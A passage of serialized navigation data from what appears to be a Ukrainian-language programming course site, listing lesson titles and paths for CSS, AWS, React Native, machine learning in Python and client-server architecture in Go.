текст","\u002Fhtml-css\u002Fcss-typography","12.html-css\u002F11.css-typography",{"title":3344,"path":3345,"stem":3346},"Кольори та фони в CSS","\u002Fhtml-css\u002Fcss-colors-backgrounds","12.html-css\u002F12.css-colors-backgrounds",{"title":3348,"path":3349,"stem":3350},"Тіні та фільтри в CSS","\u002Fhtml-css\u002F12b.css-shadows-filters","12.html-css\u002F12b.css-shadows-filters",{"title":3352,"path":3353,"stem":3354},"CSS Flexbox: Фундамент гнучких макетів","\u002Fhtml-css\u002Fcss-flexbox-fundamentals","12.html-css\u002F13.css-flexbox-fundamentals",{"title":3356,"path":3357,"stem":3358},"CSS Flexbox: Вирівнювання та Позиціонування","\u002Fhtml-css\u002Fcss-flexbox-alignment-sizing-and-patterns","12.html-css\u002F14.css-flexbox-alignment-sizing-and-patterns",{"title":3360,"path":3361,"stem":3362},"CSS Grid. Двовимірний макет. Частина 1","\u002Fhtml-css\u002Fcss-layout-grid","12.html-css\u002F15.css-layout-grid",{"title":3364,"path":3365,"stem":3366},"CSS Grid. Двовимірний макет. Частина 2","\u002Fhtml-css\u002Fcss-layout-grid-advanced","12.html-css\u002F16.css-layout-grid-advanced",{"title":3368,"path":3369,"stem":3370},"Позиціонування в CSS. Z-index. Stacking Context","\u002Fhtml-css\u002Fcss-positioning","12.html-css\u002F17.css-positioning",{"title":3372,"path":3373,"stem":3374},"CSS Анімації та Переходи","\u002Fhtml-css\u002Fcss-animations-transitions","12.html-css\u002F18.css-animations-transitions",{"title":3376,"path":3377,"stem":3378},"Адаптивний дизайн. Media Queries. Частина 1","\u002Fhtml-css\u002Fcss-responsive-media-queries","12.html-css\u002F19.css-responsive-media-queries",{"title":3380,"path":3381,"stem":3382},"Адаптивний дизайн. Частина 2: clamp(), Container Queries, @layer","\u002Fhtml-css\u002Fcss-responsive-advanced","12.html-css\u002F20.css-responsive-advanced",{"title":3384,"path":3385,"stem":3386},"CSS Custom Properties. Методології. Сучасний CSS","\u002Fhtml-css\u002Fcss-variables-methodologies","12.html-css\u002F21.css-variables-methodologies",{"title":3388,"path":3389,"stem":3390},"Сучасний CSS 2023–2025: Нові можливості","\u002Fhtml-css\u002Fcss-modern-features","12.html-css\u002F22.css-modern-features",{"title":3392,"path":3393,"stem":3394},"CSS Nesting, @layer, @scope та @property: нативний препроцесор","\u002Fhtml-css\u002F22a.css-nesting-modern-syntax","12.html-css\u002F22a.css-nesting-modern-syntax",{"title":3396,"path":3397,"stem":3398},"CSS для форм та інтерактивних станів","\u002Fhtml-css\u002Fcss-forms-interactive-states","12.html-css\u002F23.css-forms-interactive-states",{"title":3400,"path":3401,"stem":3402},"Доступність у CSS (CSS Accessibility)","\u002Fhtml-css\u002Fcss-accessibility","12.html-css\u002F24.css-accessibility",{"title":3404,"path":3405,"stem":3406},"CSS-функції та сучасні sizing primitives","\u002Fhtml-css\u002Fcss-functions-sizing","12.html-css\u002F25.css-functions-sizing",{"title":3408,"path":3409,"stem":3410},"Rendering Pipeline і CSS Performance","\u002Fhtml-css\u002Fcss-rendering-performance","12.html-css\u002F26.css-rendering-performance",{"title":3412,"path":3413,"stem":3414},"CSS Best Practices: типові ситуації та правильні рішення","\u002Fhtml-css\u002Fcss-best-practices","12.html-css\u002F27.css-best-practices",{"title":3416,"path":3417,"stem":3418,"children":3419,"page":59},"AWS","\u002Faws","13.aws",[3420,3424,3428,3432,3436,3440,3444,3448,3452,3456,3460,3464,3468,3472,3476,3480,3484,3488],{"title":3421,"path":3422,"stem":3423},"Реєстрація AWS акаунту та студентські програми","\u002Faws\u002Faccount-registration","13.aws\u002F00.account-registration",{"title":3425,"path":3426,"stem":3427},"Вступ до хмарних обчислень та AWS","\u002Faws\u002Fintroduction-to-cloud","13.aws\u002F01.introduction-to-cloud",{"title":3429,"path":3430,"stem":3431},"AWS IAM — Identity and Access Management","\u002Faws\u002Fiam","13.aws\u002F02.iam",{"title":3433,"path":3434,"stem":3435},"AWS IAM CLI — Довідник команд","\u002Faws\u002F02a.iam-doc","13.aws\u002F02a.iam-doc",{"title":3437,"path":3438,"stem":3439},"Docker та контейнеризація в AWS — ECR, ECS та Fargate","\u002Faws\u002Fdocker-ecs","13.aws\u002F03.docker-ecs",{"title":3441,"path":3442,"stem":3443},"AWS ECR \u002F ECS CLI — Довідник команд","\u002Faws\u002F03a.docker-ecs-doc","13.aws\u002F03a.docker-ecs-doc",{"title":3445,"path":3446,"stem":3447},"Amazon EC2 — Elastic Compute Cloud","\u002Faws\u002Fec2","13.aws\u002F04.ec2",{"title":3449,"path":3450,"stem":3451},"AWS EC2 CLI — Довідник команд","\u002Faws\u002F04a.ec2-doc","13.aws\u002F04a.ec2-doc",{"title":3453,"path":3454,"stem":3455},"Elastic Load Balancing та Auto Scaling","\u002Faws\u002Falb-asg","13.aws\u002F05.alb-asg",{"title":3457,"path":3458,"stem":3459},"Amazon S3 — Simple Storage Service","\u002Faws\u002Fs3","13.aws\u002F06.s3",{"title":3461,"path":3462,"stem":3463},"Amazon CloudFront — Content Delivery Network","\u002Faws\u002Fcloudfront","13.aws\u002F07.cloudfront",{"title":3465,"path":3466,"stem":3467},"Amazon RDS — Relational Database Service","\u002Faws\u002Frds","13.aws\u002F08.rds",{"title":3469,"path":3470,"stem":3471},"Amazon DynamoDB — NoSQL Database","\u002Faws\u002Fdynamodb","13.aws\u002F09.dynamodb",{"title":3473,"path":3474,"stem":3475},"AWS Lambda та Serverless Compute","\u002Faws\u002Flambda","13.aws\u002F10.lambda",{"title":3477,"path":3478,"stem":3479},"Amazon Bedrock - Foundation Models, RAG та Agents","\u002Faws\u002Fbedrock","13.aws\u002F22.bedrock",{"title":3481,"path":3482,"stem":3483},"Amazon Rekognition - Комп'ютерний зір","\u002Faws\u002Frekognition","13.aws\u002F23.rekognition",{"title":3485,"path":3486,"stem":3487},"Amazon Textract - Інтелектуальний аналіз документів","\u002Faws\u002Ftextract","13.aws\u002F24.textract",{"title":3489,"path":3490,"stem":3491},"Amazon Polly, Transcribe, Comprehend та Translate","\u002Faws\u002Faudio-nlp-services","13.aws\u002F25.audio-nlp-services",{"title":3493,"path":3494,"stem":3495,"children":3496,"page":59},"Ai Development","\u002Fai-development","14.ai-development",[3497],{"title":3498,"path":3499,"stem":3500,"children":3501,"page":59},"Foundations","\u002Fai-development\u002Ffoundations","14.ai-development\u002F00.foundations",[3502],{"title":3503,"path":3504,"stem":3505},"Модуль 0.1. Що таке Large Language Model (LLM)","\u002Fai-development\u002Ffoundations\u002Fwhat-is-llm","14.ai-development\u002F00.foundations\u002F01.what-is-llm",{"title":3507,"path":3508,"stem":3509,"children":3510,"page":59},"React Native","\u002Freact-native","15.react-native",[3511,3532],{"title":3512,"path":3513,"stem":3514,"children":3515,"page":59},"Version1","\u002Freact-native\u002Fversion1","15.react-native\u002Fversion1",[3516,3520,3524,3528],{"title":3517,"path":3518,"stem":3519},"Що таке React Native","\u002Freact-native\u002Fversion1\u002Fwhat-is-react-native","15.react-native\u002Fversion1\u002F01.what-is-react-native",{"title":3521,"path":3522,"stem":3523},"Як влаштований React Native «під капотом»","\u002Freact-native\u002Fversion1\u002Freact-native-architecture","15.react-native\u002Fversion1\u002F02.react-native-architecture",{"title":3525,"path":3526,"stem":3527},"Від React до React Native: ключові відмінності","\u002Freact-native\u002Fversion1\u002Freact-native-vs-react","15.react-native\u002Fversion1\u002F03.react-native-vs-react",{"title":3529,"path":3530,"stem":3531},"View та Text — фундаментальні будівельні блоки","\u002Freact-native\u002Fversion1\u002Fview-and-text","15.react-native\u002Fversion1\u002F04.view-and-text",{"title":3533,"path":3534,"stem":3535,"children":3536,"page":59},"Version2","\u002Freact-native\u002Fversion2","15.react-native\u002Fversion2",[3537,3541,3545,3549,3553,3557,3561,3565,3569,3573,3577,3581,3585,3589,3593,3597,3601,3605,3609,3613,3617,3621,3625,3629,3633,3637,3641],{"title":3538,"path":3539,"stem":3540},"React Native — навіщо він потрібен","\u002Freact-native\u002Fversion2\u002Fwhy-react-native","15.react-native\u002Fversion2\u002F01.why-react-native",{"title":3542,"path":3543,"stem":3544},"Налаштування середовища розробки","\u002Freact-native\u002Fversion2\u002Fenvironment-setup","15.react-native\u002Fversion2\u002F02.environment-setup",{"title":3546,"path":3547,"stem":3548},"Expo і класичний React Native — два шляхи одного фреймворку","\u002Freact-native\u002Fversion2\u002Fexpo-vs-cli-landscape","15.react-native\u002Fversion2\u002F03.expo-vs-cli-landscape",{"title":3550,"path":3551,"stem":3552},"Середовище Expo — перший запуск","\u002Freact-native\u002Fversion2\u002Fexpo-setup-and-tooling","15.react-native\u002Fversion2\u002F04.expo-setup-and-tooling",{"title":3554,"path":3555,"stem":3556},"Структура проєкту та перші UI-примітиви","\u002Freact-native\u002Fversion2\u002Fproject-structure-and-conventions","15.react-native\u002Fversion2\u002F05.project-structure-and-conventions",{"title":3558,"path":3559,"stem":3560},"Базові компоненти React Native","\u002Freact-native\u002Fversion2\u002Fcore-components","15.react-native\u002Fversion2\u002F06.core-components",{"title":3562,"path":3563,"stem":3564},"Flexbox і layout у React Native","\u002Freact-native\u002Fversion2\u002Fflexbox-and-layout","15.react-native\u002Fversion2\u002F07.flexbox-and-layout",{"title":3566,"path":3567,"stem":3568},"StyleSheet і теми (light \u002F dark)","\u002Freact-native\u002Fversion2\u002Fstylesheet-and-theming","15.react-native\u002Fversion2\u002F08.stylesheet-and-theming",{"title":3570,"path":3571,"stem":3572},"Списки та віртуалізація","\u002Freact-native\u002Fversion2\u002Flists-and-virtualization","15.react-native\u002Fversion2\u002F09.lists-and-virtualization",{"title":3574,"path":3575,"stem":3576},"Форми, ввід і валідація","\u002Freact-native\u002Fversion2\u002Fforms-input-validation","15.react-native\u002Fversion2\u002F10.forms-input-validation",{"title":3578,"path":3579,"stem":3580},"Основи Expo Router","\u002Freact-native\u002Fversion2\u002Fexpo-router-basics","15.react-native\u002Fversion2\u002F11.expo-router-basics",{"title":3582,"path":3583,"stem":3584},"Вкладені навігатори та модалки","\u002Freact-native\u002Fversion2\u002Fnested-navigators-and-modals","15.react-native\u002Fversion2\u002F12.nested-navigators-and-modals",{"title":3586,"path":3587,"stem":3588},"Deep linking і параметри маршрутів","\u002Freact-native\u002Fversion2\u002Fdeep-linking-and-params","15.react-native\u002Fversion2\u002F13.deep-linking-and-params",{"title":3590,"path":3591,"stem":3592},"Робота з мережею та життєвий цикл застосунку","\u002Freact-native\u002Fversion2\u002Fnetworking-and-app-lifecycle","15.react-native\u002Fversion2\u002F14.networking-and-app-lifecycle",{"title":3594,"path":3595,"stem":3596},"Redux Toolkit на мобільних платформах","\u002Freact-native\u002Fversion2\u002Fredux-toolkit-on-mobile","15.react-native\u002Fversion2\u002F15.redux-toolkit-on-mobile",{"title":3598,"path":3599,"stem":3600},"RTK Query на мобільних платформах","\u002Freact-native\u002Fversion2\u002Frtk-query-mobile","15.react-native\u002Fversion2\u002F16.rtk-query-mobile",{"title":3602,"path":3603,"stem":3604},"Автентифікація та Безпечне Зберігання","\u002Freact-native\u002Fversion2\u002Fauth-secure-storage","15.react-native\u002Fversion2\u002F18.auth-secure-storage",{"title":3606,"path":3607,"stem":3608},"Локальне сховище — AsyncStorage, MMKV, SQLite","\u002Freact-native\u002Fversion2\u002Flocal-storage-mmkv-sqlite","15.react-native\u002Fversion2\u002F19.local-storage-mmkv-sqlite",{"title":3610,"path":3611,"stem":3612},"Офлайн-First і синхронізація","\u002Freact-native\u002Fversion2\u002Foffline-first-sync","15.react-native\u002Fversion2\u002F20.offline-first-sync",{"title":3614,"path":3615,"stem":3616},"Камера, медіа та файлова система","\u002Freact-native\u002Fversion2\u002Fcamera-media-filesystem","15.react-native\u002Fversion2\u002F21.camera-media-filesystem",{"title":3618,"path":3619,"stem":3620},"Карти та геолокація","\u002Freact-native\u002Fversion2\u002Fmaps-and-location","15.react-native\u002Fversion2\u002F22.maps-and-location",{"title":3622,"path":3623,"stem":3624},"Жести та дотики","\u002Freact-native\u002Fversion2\u002Fgestures-and-touch","15.react-native\u002Fversion2\u002F23.gestures-and-touch",{"title":3626,"path":3627,"stem":3628},"Анімації з Reanimated","\u002Freact-native\u002Fversion2\u002Freanimated-animations","15.react-native\u002Fversion2\u002F24.reanimated-animations",{"title":3630,"path":3631,"stem":3632},"Push і локальні сповіщення","\u002Freact-native\u002Fversion2\u002Fpush-and-local-notifications","15.react-native\u002Fversion2\u002F25.push-and-local-notifications",{"title":3634,"path":3635,"stem":3636},"Інтернаціоналізація та доступність","\u002Freact-native\u002Fversion2\u002Faccessibility-and-i18n","15.react-native\u002Fversion2\u002F26.accessibility-and-i18n",{"title":3638,"path":3639,"stem":3640},"EAS Build та профілі збірки","\u002Freact-native\u002Fversion2\u002Feas-build-and-profiles","15.react-native\u002Fversion2\u002F29.eas-build-and-profiles",{"title":3642,"path":3643,"stem":3644},"Публікація в App Store та Google Play","\u002Freact-native\u002Fversion2\u002Fapp-store-play-release","15.react-native\u002Fversion2\u002F30.app-store-play-release",{"title":3646,"path":3647,"stem":3648,"children":3649,"page":59},"Ai Python","\u002Fai-python","16.ai-python",[3650,3659,3668,3677,3706,3732,3757,3790,3807,3820,3829,3842,3851,3872,3885,3906],{"title":3651,"path":3652,"stem":3653,"children":3654,"page":59},"Intro To Ai","\u002Fai-python\u002Fintro-to-ai","16.ai-python\u002F01.intro-to-ai",[3655],{"title":3656,"path":3657,"stem":3658},"Вступ до штучного інтелекту та машинного навчання","\u002Fai-python\u002Fintro-to-ai\u002Fintro-to-ai","16.ai-python\u002F01.intro-to-ai\u002F01.intro-to-ai",{"title":3660,"path":3661,"stem":3662,"children":3663,"page":59},"Jupyter Notebook","\u002Fai-python\u002Fjupyter-notebook","16.ai-python\u002F02.jupyter-notebook",[3664],{"title":3665,"path":3666,"stem":3667},"Знайомство з Jupyter Notebook та JupyterLab","\u002Fai-python\u002Fjupyter-notebook\u002Fjupyter-notebook","16.ai-python\u002F02.jupyter-notebook\u002F02.jupyter-notebook",{"title":3669,"path":3670,"stem":3671,"children":3672,"page":59},"Numpy Pandas","\u002Fai-python\u002Fnumpy-pandas","16.ai-python\u002F03.numpy-pandas",[3673],{"title":3674,"path":3675,"stem":3676},"Робота з даними з використанням NumPy і pandas","\u002Fai-python\u002Fnumpy-pandas\u002Fnumpy-pandas","16.ai-python\u002F03.numpy-pandas\u002F03.numpy-pandas",{"title":3678,"path":3679,"stem":3680,"children":3681,"page":59},"Statistics Basics","\u002Fai-python\u002Fstatistics-basics","16.ai-python\u002F04.statistics-basics",[3682,3686,3690,3694,3698,3702],{"title":3683,"path":3684,"stem":3685},"Випадкові величини та їх типи","\u002Fai-python\u002Fstatistics-basics\u002Frandom-variables","16.ai-python\u002F04.statistics-basics\u002F01.random-variables",{"title":3687,"path":3688,"stem":3689},"Міри центральної тенденції","\u002Fai-python\u002Fstatistics-basics\u002Fcentral-tendency","16.ai-python\u002F04.statistics-basics\u002F02.central-tendency",{"title":3691,"path":3692,"stem":3693},"Міри варіації (розсіювання)","\u002Fai-python\u002Fstatistics-basics\u002Fvariability","16.ai-python\u002F04.statistics-basics\u002F03.variability",{"title":3695,"path":3696,"stem":3697},"Розподіли випадкових величин","\u002Fai-python\u002Fstatistics-basics\u002Fdistributions","16.ai-python\u002F04.statistics-basics\u002F04.distributions",{"title":3699,"path":3700,"stem":3701},"Кореляція та взаємозв'язки","\u002Fai-python\u002Fstatistics-basics\u002Fcorrelation","16.ai-python\u002F04.statistics-basics\u002F05.correlation",{"title":3703,"path":3704,"stem":3705},"Викиди та аномалії","\u002Fai-python\u002Fstatistics-basics\u002Foutliers","16.ai-python\u002F04.statistics-basics\u002F06.outliers",{"title":3707,"path":3708,"stem":3709,"children":3710},"Візуалізація даних за допомогою matplotlib","\u002Fai-python\u002Fdata-visualization","16.ai-python\u002F05.data-visualization\u002Findex",[3711,3712,3716,3720,3724,3728],{"title":3707,"path":3708,"stem":3709},{"title":3713,"path":3714,"stem":3715},"Основи matplotlib — Figure, Axes та перший графік","\u002Fai-python\u002Fdata-visualization\u002Fmatplotlib-basics","16.ai-python\u002F05.data-visualization\u002F01.matplotlib-basics",{"title":3717,"path":3718,"stem":3719},"Візуалізація розподілів — гістограми та box plots","\u002Fai-python\u002Fdata-visualization\u002Fdistributions","16.ai-python\u002F05.data-visualization\u002F02.distributions",{"title":3721,"path":3722,"stem":3723},"Візуалізація залежностей — scatter plots та кореляція","\u002Fai-python\u002Fdata-visualization\u002Frelationships","16.ai-python\u002F05.data-visualization\u002F03.relationships",{"title":3725,"path":3726,"stem":3727},"Візуалізація категоріальних даних — bar charts та pie charts","\u002Fai-python\u002Fdata-visualization\u002Fcategorical","16.ai-python\u002F05.data-visualization\u002F04.categorical",{"title":3729,"path":3730,"stem":3731},"Композиції та стилізація — subplots та багатопанельні дашборди","\u002Fai-python\u002Fdata-visualization\u002Fsubplots-styling","16.ai-python\u002F05.data-visualization\u002F05.subplots-styling",{"title":3733,"path":3734,"stem":3735,"children":3736,"page":59},"Linear Regression","\u002Fai-python\u002Flinear-regression","16.ai-python\u002F06.linear-regression",[3737,3741,3745,3749,3753],{"title":3738,"path":3739,"stem":3740},"Регресійна задача та лінійна регресія з однією змінною","\u002Fai-python\u002Flinear-regression\u002Fregression-task","16.ai-python\u002F06.linear-regression\u002F01.regression-task",{"title":3742,"path":3743,"stem":3744},"Метрики якості регресії — як оцінити модель","\u002Fai-python\u002Flinear-regression\u002Fquality-metrics","16.ai-python\u002F06.linear-regression\u002F02.quality-metrics",{"title":3746,"path":3747,"stem":3748},"Градієнтний спуск — як модель навчається","\u002Fai-python\u002Flinear-regression\u002Fgradient-descent","16.ai-python\u002F06.linear-regression\u002F03.gradient-descent",{"title":3750,"path":3751,"stem":3752},"Множинна лінійна регресія — модель з багатьма ознаками","\u002Fai-python\u002Flinear-regression\u002Fmultiple-regression","16.ai-python\u002F06.linear-regression\u002F04.multiple-regression",{"title":3754,"path":3755,"stem":3756},"Практичні завдання та резюме модуля","\u002Fai-python\u002Flinear-regression\u002Fpractice","16.ai-python\u002F06.linear-regression\u002F05.practice",{"title":3758,"path":3759,"stem":3760,"children":3761,"page":59},"Practical Regression","\u002Fai-python\u002Fpractical-regression","16.ai-python\u002F07.practical-regression",[3762,3766,3770,3774,3778,3782,3786],{"title":3763,"path":3764,"stem":3765},"Знайомство з scikit-learn","\u002Fai-python\u002Fpractical-regression\u002Fintro-scikit-learn","16.ai-python\u002F07.practical-regression\u002F01.intro-scikit-learn",{"title":3767,"path":3768,"stem":3769},"Exploratory Data Analysis датасету Housing Prices","\u002Fai-python\u002Fpractical-regression\u002Fhousing-dataset-eda","16.ai-python\u002F07.practical-regression\u002F02.housing-dataset-eda",{"title":3771,"path":3772,"stem":3773},"Попередня обробка даних (Data Preprocessing)","\u002Fai-python\u002Fpractical-regression\u002Fdata-preprocessing","16.ai-python\u002F07.practical-regression\u002F03.data-preprocessing",{"title":3775,"path":3776,"stem":3777},"Train\u002FTest Split та перша повноцінна модель","\u002Fai-python\u002Fpractical-regression\u002Ftrain-test-split","16.ai-python\u002F07.practical-regression\u002F04.train-test-split",{"title":3779,"path":3780,"stem":3781},"Перенавчання та недонавчання","\u002Fai-python\u002Fpractical-regression\u002Foverfitting-underfitting","16.ai-python\u002F07.practical-regression\u002F05.overfitting-underfitting",{"title":3783,"path":3784,"stem":3785},"Крос-валідація (Cross-Validation)","\u002Fai-python\u002Fpractical-regression\u002Fcross-validation","16.ai-python\u002F07.practical-regression\u002F06.cross-validation",{"title":3787,"path":3788,"stem":3789},"Гіперпараметри та їх оптимізація","\u002Fai-python\u002Fpractical-regression\u002Fhyperparameter-tuning","16.ai-python\u002F07.practical-regression\u002F07.hyperparameter-tuning",{"title":3791,"path":3792,"stem":3793,"children":3794,"page":59},"Polynomial Regression","\u002Fai-python\u002Fpolynomial-regression","16.ai-python\u002F08.polynomial-regression",[3795,3799,3803],{"title":3796,"path":3797,"stem":3798},"Нелінійні залежності та поліноміальна регресія","\u002Fai-python\u002Fpolynomial-regression\u002Fnonlinear-patterns","16.ai-python\u002F08.polynomial-regression\u002F01.nonlinear-patterns",{"title":3800,"path":3801,"stem":3802},"Регуляризація в регресії — Ridge та Lasso","\u002Fai-python\u002Fpolynomial-regression\u002Fregularization-methods","16.ai-python\u002F08.polynomial-regression\u002F02.regularization-methods",{"title":3804,"path":3805,"stem":3806},"Практика — поліноміальна регресія та регуляризація на Housing Prices","\u002Fai-python\u002Fpolynomial-regression\u002Fhousing-prices-practice","16.ai-python\u002F08.polynomial-regression\u002F03.housing-prices-practice",{"title":3808,"path":3809,"stem":3810,"children":3811,"page":59},"Decision Trees Random Forest","\u002Fai-python\u002Fdecision-trees-random-forest","16.ai-python\u002F09.decision-trees-random-forest",[3812,3816],{"title":3813,"path":3814,"stem":3815},"Дерева рішень — інтерпретабельні моделі машинного навчання","\u002Fai-python\u002Fdecision-trees-random-forest\u002Fdecision-trees","16.ai-python\u002F09.decision-trees-random-forest\u002F01.decision-trees",{"title":3817,"path":3818,"stem":3819},"Random Forest — ансамблі дерев рішень","\u002Fai-python\u002Fdecision-trees-random-forest\u002Frandom-forest","16.ai-python\u002F09.decision-trees-random-forest\u002F02.random-forest",{"title":3821,"path":3822,"stem":3823,"children":3824,"page":59},"Gradient Boosting","\u002Fai-python\u002Fgradient-boosting","16.ai-python\u002F10.gradient-boosting",[3825],{"title":3826,"path":3827,"stem":3828},"Градієнтний бустинг та XGBoost — послідовне виправлення помилок","\u002Fai-python\u002Fgradient-boosting\u002Fgradient-boosting-xgboost","16.ai-python\u002F10.gradient-boosting\u002F01.gradient-boosting-xgboost",{"title":3830,"path":3831,"stem":3832,"children":3833,"page":59},"Logistic Regression Classification","\u002Fai-python\u002Flogistic-regression-classification","16.ai-python\u002F11.logistic-regression-classification",[3834,3838],{"title":3835,"path":3836,"stem":3837},"Вступ до класифікації та логістична регресія","\u002Fai-python\u002Flogistic-regression-classification\u002Fclassification-basics","16.ai-python\u002F11.logistic-regression-classification\u002F01.classification-basics",{"title":3839,"path":3840,"stem":3841},"Метрики якості класифікації — Confusion Matrix, Precision, Recall, F1","\u002Fai-python\u002Flogistic-regression-classification\u002Fclassification-metrics","16.ai-python\u002F11.logistic-regression-classification\u002F02.classification-metrics",{"title":3843,"path":3844,"stem":3845,"children":3846,"page":59},"Neural Networks Basics","\u002Fai-python\u002Fneural-networks-basics","16.ai-python\u002F12.neural-networks-basics",[3847],{"title":3848,"path":3849,"stem":3850},"Вступ до нейронних мереж — від персептрона до багатошарових мереж","\u002Fai-python\u002Fneural-networks-basics\u002Fperceptron-to-mlp","16.ai-python\u002F12.neural-networks-basics\u002F01.perceptron-to-mlp",{"title":3852,"path":3853,"stem":3854,"children":3855,"page":59},"Pytorch Intro","\u002Fai-python\u002Fpytorch-intro","16.ai-python\u002F13.pytorch-intro",[3856,3860,3864,3868],{"title":3857,"path":3858,"stem":3859},"Тензори та автоматичне диференціювання в PyTorch","\u002Fai-python\u002Fpytorch-intro\u002Ftensors-and-autograd","16.ai-python\u002F13.pytorch-intro\u002F01.tensors-and-autograd",{"title":3861,"path":3862,"stem":3863},"Побудова та тренування нейронних мереж у PyTorch","\u002Fai-python\u002Fpytorch-intro\u002Fbuilding-and-training","16.ai-python\u002F13.pytorch-intro\u002F02.building-and-training",{"title":3865,"path":3866,"stem":3867},"Робота з даними та регуляризація в PyTorch","\u002Fai-python\u002Fpytorch-intro\u002Fdata-and-regularization","16.ai-python\u002F13.pytorch-intro\u002F03.data-and-regularization",{"title":3869,"path":3870,"stem":3871},"Просунуті теми PyTorch — GPU, оптимізація та deployment","\u002Fai-python\u002Fpytorch-intro\u002Fadvanced-topics","16.ai-python\u002F13.pytorch-intro\u002F04.advanced-topics",{"title":3873,"path":3874,"stem":3875,"children":3876,"page":59},"Activation Functions Heart Disease","\u002Fai-python\u002Factivation-functions-heart-disease","16.ai-python\u002F14.activation-functions-heart-disease",[3877,3881],{"title":3878,"path":3879,"stem":3880},"Функції активації та побудова нейронної мережі для передбачення вад серця","\u002Fai-python\u002Factivation-functions-heart-disease\u002Fheart-disease-prediction","16.ai-python\u002F14.activation-functions-heart-disease\u002F01.heart-disease-prediction",{"title":3882,"path":3883,"stem":3884},"Бонус — Повний приклад Student Performance Prediction","\u002Fai-python\u002Factivation-functions-heart-disease\u002Fstudent-performance-bonus","16.ai-python\u002F14.activation-functions-heart-disease\u002F02.student-performance-bonus",{"title":3886,"path":3887,"stem":3888,"children":3889,"page":59},"Cnn Image Classification","\u002Fai-python\u002Fcnn-image-classification","16.ai-python\u002F15.cnn-image-classification",[3890,3894,3898,3902],{"title":3891,"path":3892,"stem":3893},"Основи згорткових нейронних мереж — чому не MLP?","\u002Fai-python\u002Fcnn-image-classification\u002Fcnn-fundamentals","16.ai-python\u002F15.cnn-image-classification\u002F01.cnn-fundamentals",{"title":3895,"path":3896,"stem":3897},"Практична імплементація CNN для класифікації MNIST","\u002Fai-python\u002Fcnn-image-classification\u002Fmnist-classification","16.ai-python\u002F15.cnn-image-classification\u002F02.mnist-classification",{"title":3899,"path":3900,"stem":3901},"Глибші CNN та аугментація даних для CIFAR-10","\u002Fai-python\u002Fcnn-image-classification\u002Fcifar10-and-data-augmentation","16.ai-python\u002F15.cnn-image-classification\u002F03.cifar10-and-data-augmentation",{"title":3903,"path":3904,"stem":3905},"Transfer Learning та візуалізація внутрішніх представлень CNN","\u002Fai-python\u002Fcnn-image-classification\u002Ftransfer-learning-and-visualization","16.ai-python\u002F15.cnn-image-classification\u002F04.transfer-learning-and-visualization",{"title":3907,"path":3908,"stem":3909,"children":3910,"page":59},"Batching Normalization Deep Networks","\u002Fai-python\u002Fbatching-normalization-deep-networks","16.ai-python\u002F16.batching-normalization-deep-networks",[3911,3915,3919,3923,3927,3931,3935],{"title":3912,"path":3913,"stem":3914},"Mini-batch Gradient Descent та ефективна обробка даних","\u002Fai-python\u002Fbatching-normalization-deep-networks\u002Fmini-batch-gradient-descent","16.ai-python\u002F16.batching-normalization-deep-networks\u002F01.mini-batch-gradient-descent",{"title":3916,"path":3917,"stem":3918},"Ініціалізація ваг — фундамент стабільного навчання","\u002Fai-python\u002Fbatching-normalization-deep-networks\u002Fweight-initialization","16.ai-python\u002F16.batching-normalization-deep-networks\u002F02.weight-initialization",{"title":3920,"path":3921,"stem":3922},"Batch Normalization — прорив у глибокому навчанні","\u002Fai-python\u002Fbatching-normalization-deep-networks\u002Fbatch-normalization","16.ai-python\u002F16.batching-normalization-deep-networks\u002F03.batch-normalization",{"title":3924,"path":3925,"stem":3926},"Dropout та комбіновані стратегії регуляризації","\u002Fai-python\u002Fbatching-normalization-deep-networks\u002Fdropout-and-regularization","16.ai-python\u002F16.batching-normalization-deep-networks\u002F04.dropout-and-regularization",{"title":3928,"path":3929,"stem":3930},"Проєктування глибоких мереж — від теорії до практики","\u002Fai-python\u002Fbatching-normalization-deep-networks\u002Fdeep-networks-architectures","16.ai-python\u002F16.batching-normalization-deep-networks\u002F05.deep-networks-architectures",{"title":3932,"path":3933,"stem":3934},"Планування learning rate — коли та як зменшувати крок навчання","\u002Fai-python\u002Fbatching-normalization-deep-networks\u002Flearning-rate-scheduling","16.ai-python\u002F16.batching-normalization-deep-networks\u002F06.learning-rate-scheduling",{"title":3936,"path":3937,"stem":3938},"Підсумковий проєкт — побудова сучасного класифікатора зображень","\u002Fai-python\u002Fbatching-normalization-deep-networks\u002Ffinal-project-deep-classifier","16.ai-python\u002F16.batching-normalization-deep-networks\u002F07.final-project-deep-classifier",{"title":3940,"icon":658,"path":3941,"stem":3942,"children":3943,"page":59},"Клієнт-серверна архітектура","\u002Fclient-server-architecture","17.client-server-architecture",[3944,3948,3952,3956,3960,3964,3968,3972,3976,3980,3984,3988,3992,3996,4000,4004,4008,4012],{"title":3945,"path":3946,"stem":3947},"Архітектура клієнт-серверних систем та основи Go","\u002Fclient-server-architecture\u002Fclient-server-architecture-and-go","17.client-server-architecture\u002F01.client-server-architecture-and-go",{"title":3949,"path":3950,"stem":3951},"Система типів та модель пам’яті мови Go","\u002Fclient-server-architecture\u002Ftype-system-and-memory-model","17.client-server-architecture\u002F02.type-system-and-memory-model",{"title":3953,"path":3954,"stem":3955},"Інтерфейси та модель конкурентності мови Go","\u002Fclient-server-architecture\u002Finterfaces-and-concurrency-model","17.client-server-architecture\u002F03.interfaces-and-concurrency-model",{"title":3957,"path":3958,"stem":3959},"Сокетне програмування та протокол TCP у Go","\u002Fclient-server-architecture\u002Ftcp-socket-programming","17.client-server-architecture\u002F04.tcp-socket-programming",{"title":3961,"path":3962,"stem":3963},"Протокол UDP та датаграмна передача даних","\u002Fclient-server-architecture\u002Fudp-datagram-transmission","17.client-server-architecture\u002F05.udp-datagram-transmission",{"title":3965,"path":3966,"stem":3967},"Криптографічний захист каналів зв","\u002Fclient-server-architecture\u002Ftls-cryptographic-channel-protection","17.client-server-architecture\u002F06.tls-cryptographic-channel-protection",{"title":3969,"path":3970,"stem":3971},"Прикладні мережеві протоколи DNS та SMTP","\u002Fclient-server-architecture\u002Fdns-smtp-application-protocols","17.client-server-architecture\u002F07.dns-smtp-application-protocols",{"title":3973,"path":3974,"stem":3975},"Протокол HTTP та стандартний вебсервер Go","\u002Fclient-server-architecture\u002Fhttp-protocol-and-web-server","17.client-server-architecture\u002F08.http-protocol-and-web-server",{"title":3977,"path":3978,"stem":3979},"Проєктування REST API та маршрутизація засобами Chi","\u002Fclient-server-architecture\u002Frest-api-design-and-chi-routing","17.client-server-architecture\u002F09.rest-api-design-and-chi-routing",{"title":3981,"path":3982,"stem":3983},"Лекція 10. Шарувата архітектура та конвеєри обробки 